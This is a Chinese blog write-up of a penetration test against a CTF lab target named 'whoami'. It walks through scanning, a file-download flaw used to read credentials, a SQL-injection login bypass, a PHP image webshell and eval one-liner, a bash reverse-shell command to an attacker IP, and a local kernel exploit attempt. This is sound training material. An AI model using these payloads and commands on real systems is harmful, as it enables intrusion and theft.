文章标题

  • 测试环境
  • 信息收集
    • 获取靶机ip
    • 扫描端口
    • 扫描目录
  • 开始渗透
    • 文件下载漏洞
      • 获取数据库账号密码
      • 知晓sql注入绕过方式
      • 登录前端
    • 文件上传+包含漏洞getshell
    • 失败的提权
      • 方法一:ssh登录
      • 方法二:反弹shell
      • 方法三:菜刀

测试环境

靶机:云演考试题,whoami靶机(源码没有找到没有在本地搭)
攻击机:kali

信息收集

开始时访问网站发现啥信息也没有

获取靶机ip

windows 终端 ping 即可

扫描端口

kali 机使用 nmap -sS + ip 扫描得到靶机开放端口

扫描目录

一开始用御剑扫,字典太小了导致啥也没扫到,robots.txt 里面的 flag 提交上去还是错的后来用 kali 的 dirb + url 扫描,扫到了有一个 www 目录,然后呢用 dirb + url扫这个目录又扫不出东西了

说是这么说,还是扫到东西了的,最关键的当属phpmy目录,imagesupload_images咱都没权限访问

于是又转到御剑,发现文件都藏在这目录下了

开始渗透

首先访问 www
尝试进行sql注入攻击,测试语句为万能密码:’ or 1=1 --
后续还尝试了一些弱口令以及暴力破解,但测试结果都是try again。不知道过滤规则暂时放弃sql注入。

接着一个个访问此目录下的文件,发现其中 head.php、show.php、c.php分别是照片、空白、空白。而 add.php 是文件上传页面,但是尝试上传图片之后并没有回显地址,暂时作罢。值得注意的是 test.php,乍一看没啥,但是查看网页源代码发现

文件下载漏洞

'file' parameter is empty. Please provide file path in 'file' parameter

提示“file”参数为空,请在“file”参数中提供文件路径。这是我们打开新世界大门的关键。

给test.php页面一个file参数
首先考虑是GET方式:http://28e7134f.lxctf.net/www/test.php?file=/etc/passwd ,无果
其次考虑POST方式,使用hackbar页面会显示下载该文件。结合burp使用可以直接看到文件的内容:

获取数据库账号密码

由上述测试可知,test.php存在文件下载漏洞。我们如法炮制的看看其他文件内容,比如我们通过下载 c.php看到了数据库的账号whoami,密码whoami_hacker,以及数据库名ica_lab数据库登录后台文件是啥呢?就是前面扫到的phpmy,登陆访问
看到ica_lab数据库,访问auth看到有一个账号密码。猜测是前面的登陆密码。
同时发现了flag,但是这个也是错的。

知晓sql注入绕过方式

同样利用前面的文件下载漏洞,下载www目录下的index.php文件,它涉及到前端sql注入的绕过方式

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));

这边str_replace的作用是将字符串 \ ’ 替换为空,因此构造SQL注入登录payload时,必须含有 \ ’ 字符串,否则会报错。urldecode的作用是将输入解码。我们在之前的payload:’ or 1=1-- 做出修改,在最后增加 \ ',str_replace会将这个\ ’ 替换为空,所以相当于没加。

登录前端

此刻我们就有两种方法登录了

由于我们在数据库中获取了账号密码,直接登陆即可

第二种利用上述的sql注入,账号密码均输入' or 1=1 -- /',也可成功登录(这边我靶机到期重启了一下,域名换了,不过无伤大雅)

文件上传+包含漏洞getshell

登陆成功进入 panel.php 页面,首先查看show users模块,发现与数据库中的users模块一致


再看看add user模块,让我们上传文件,我们跟前面一样利用任意文件下载看看它的后端代

if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']); if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){       include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}
}

通过代码审计可知此文件存在文件包含漏洞,可以利用文件上传+包含的思路getshell

其次观察到,只允许我们上传图片类的文件,属于白名单问题,可以利用图片马

if(isset($_POST['upload']))
{$name=mysqli_real_escape_string($conn,$_POST['name']);$address=mysqli_real_escape_string($conn,$_POST['address']);$id=mysqli_real_escape_string($conn,$_POST['id']);if(!empty($_FILES['image']['name'])){$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);$image=array('jpeg','jpg','gif','png');if(in_array($r,$image)){$finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){echo "Uploaded successfully ";$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update);                }}else{echo "<br>i told you dear, only png,jpg and gif file are allowed";}}else{echo "<br>only png,jpg and gif file are allowed"; }
}

随便找一张jpg图片,用010 editor在图片末尾加上

<?php system($_GET['cmd']); ?>


之后上传文件,显示成功,且根据前面得到的目录,不难猜测应该是保存在uploaded_images目录下

来测试一下文件到底有没有成功包含,使用burp,在URL的post请求中加入POST /panel.php?cmd=cat%20/etc/passwd,正文中加入load=uploaded_images/ma.jpg&continue=continue
可以看到命令已经成功执行。想想怎么用菜刀链接呢?根据前面可知照片是以POST访问的,而菜刀只能以GET访问,所以菜刀是不能连接这个图片马的。

换个思路,在之前图片马的基础上,写入一句话文件,菜刀连接一句话文件。使用burp执行命令,直接以POST方式写一句到uploaded_images下的webshell.php

要注意的是一句话要通过url编码,echo '<?php @eval($_POST['cmd']);?>' >> uploaded_images/webshell.php
再次访问图片马 cat uplaoded_images/webshell.php (同样经过url编码)发现确实写入了之后利用菜刀成功连接
可以在根目录下找到flag(这次是真的flag)

失败的提权

为什么说是失败的提权,因为我用的这三种方法都没有成功(哭)

方法一:ssh登录

由前面的靶机端口可探测到22端口,意味着只需要得到主机的账号密码就可以成功了
又联想到PHP默认配置文件是config.inc.php,系统路径结合phpmy(这边我都试了一下,发现在phpmy下)
同样利用任意文件下载phpmy/config.inc.php,直接查看账户信息

得到用户名为root,密码为roottoor,尝试连接

连接失败了,有两个原因:
1、远程服务器没有添加公钥(无法认证)
2、远程服务器公钥文件夹权限错误(.ssh.ssh/authorized_keys需要保证只有用户自己有权限,否则验证无效)

由于这俩都是指向靶机,我在菜刀里也没找到这俩文件,所以放弃这种方法。但至少我们获取了root的账号密码。

方法二:反弹shell

kali命令行里输入nc -lvnp 6666开始监听,同时burp的post请求中执行echo “bash -i >& /dev/tcp/192.168.113.130/6666 0>&1” | bash(我kali机的IP地址为192.168.113.130),同样要先经过URL编码才能发送。

kali监听

POST发送反弹shell命令
遗憾的是,kali机并没有反弹会话…

我真傻,真的,我单单学者如何反弹shell,却没注意它的前提。前提是攻击机在公网ip,但是我的kali机是在内网的,靶机反弹的shell找不到在内网的kali机,所以就监听不到任何东西了…

由于我也是才接触渗透提权这块,还不是很了解,所以就没有找到很好的解决方法(或许可以找一个公网IP?)。

方法三:菜刀

在上述使用菜刀连接后,利用其自带的虚拟终端功能,查看系统内核版本,寻找提权exp。命令为uanme -acat /etc/issue

可以在kali机上寻找与版本对应的Ubuntu本地提权漏洞exp

去官网下载exp后将文件导入菜刀

赋予执行权限 chmod 777 37292.c;编译exp gcc 37292.c -o exp;执行exp,提权至root

但最后还是失败了…不知道啥原因

麻了麻了这个提权搞了好久一直不成功,到最后也没有找到一种成功的方法。针对这个靶场的渗透就先做到这里,毕竟是第一次就一个靶场进行完整的渗透,在这个过程中也学到了很多之前或忽略或遗忘的知识,以及很多新的知识。后续会重点关注如何提权,会慢慢学习的XoX

内容已同步更新至lbw的小窝

whoami靶场渗透测试相关推荐

  1. Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

    Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...

  2. Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码)

    Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码) 靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/ ...

  3. Vulnhub靶场渗透测试系列DC-2(wpscan使用和git提权)

    Vulnhub靶场渗透测试系列DC-2(wpscan使用和git提权) 靶机地址:https://www.five86.com/dc-2.html 下载靶机将其导入到VMware,然后设置网络模式为N ...

  4. 渗透测试php靶场,渗透测试靶场初体验

    声明本文仅供学习和研究,由于传播.利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,海青实验室及文章作者不承担任何责任. 安全狗海青实验室拥有此文章的修改和解释权,如欲转载 ...

  5. DC系列漏洞靶场-渗透测试学习复现(DC-1)

    最近闲着冲浪玩发现了DC系列漏洞靶场(下载了8个靶场:DC-1到DC-8),从信息收集到最后拿到超级管理员权限,可以说几乎贯穿了渗透测试的每一步,寻找一个个flag,通过flag中的指引内容,帮助我们 ...

  6. CTF-Anubis HackTheBox 渗透测试(二)

    大家好,我是你们好朋友小峰.预计从今天开始,陆陆续续为大家推出       CTF-Horizontall HackTheBox 系列文章. 0x01 简介 Anubis是由作者4ndr34z在Hac ...

  7. 掌握渗透测试,从Web漏洞靶场搭建开始

    摘要:漏洞靶场,不仅可以帮助我们锻炼渗透测试能力.可以帮助我们分析漏洞形成机理.更可以学习如何修复提高代码能力,同时也可以帮助我们检测各种各样漏洞扫描器的效果. 本文分享自华为云社区<Web漏洞 ...

  8. 【网络安全学习】渗透测试篇01-DVWA靶场环境搭建教程

    渗透测试:通过经授权的模拟攻击,发现存在的漏洞,并以此对网络.主机.应用及数据的安全性进行评估. 靶场作用:在合法的环境下进行网络安全学习与演练 目录 为什么写这篇文章? 介绍及注意事项 环境搭建 1 ...

  9. 完整的渗透测试靶场通关

    完整的渗透测试实例 作者:Slaine 编辑日期:2021.6.6 流程目录 前言 记得在2021年初就通关的这个的内网渗透靶场,只不过做完很久都后没怎么管,然后就去某CTF站刷了好一阵子题,排名从两 ...

最新文章

  1. ppt转换成pdf转换器免费版
  2. linux数字大小判断,if 判断两个数值大小--多分支if语句实现对参数的严格判断
  3. log4j.xml如何配置
  4. 文档的管理计算机,如何使用FTP自动同步备份电脑文件数据?
  5. WEB入门实践-张晨光-专题视频课程
  6. 这半年来的飞秋官网磕磕碰碰
  7. 【报告分享】2019年中国智能门锁发展与应用白皮书.pdf
  8. Wannafly挑战赛28
  9. 多项logistic回归系数解释_逻辑回归logistic(含python代码)
  10. CentOS 编译运行 DPDK 19.11 流程
  11. 安卓软件开发需要学什么你知道吗?
  12. 音视频系列--H264编解码总结
  13. 利用Python在互动吧网站自动抢票实战分析!你学废了吗
  14. 计算机网络:BGP路由协议
  15. 再见 HTTP?10 分钟手把手教会你将网站切换到 HTTPS,安全有保障,yyds!
  16. linux 图形化创建文件,Arronax - 在Ubuntu中创建桌面启动器的图形工具
  17. 【学习】蓝桥杯嵌入式:第七届预赛试题—液位检测告警系统
  18. 3、Linux 远程登录工具
  19. Sami Haddadin:研发「会痛」机器人,让人机交互更安全|42问AI与机器人未来
  20. java 点聚weboffice_对点聚weboffice插件的使用说明

热门文章

  1. 全国计算机等级考试 考务会,3月24-26日:2018年上半年全国计算机等级考试开始!...
  2. 全局描述表GDT、任务状态段TSS、局部描述表LDT之间的关系
  3. Charles手机代理设置
  4. Ditto--局域网共享剪切版--剪切拓展工具
  5. selenium实现自动勾选淘宝购物车 并支付
  6. 如何写出高质量的技术文章?
  7. MQTT协议:Retain (保留消息)功能分析小结
  8. 国产爱情片的“一锤子”买卖应该换个模式了
  9. php think migrate,TP5 数据库迁移工具 migrate 教程
  10. 单引号、双引号、不加引号和反引号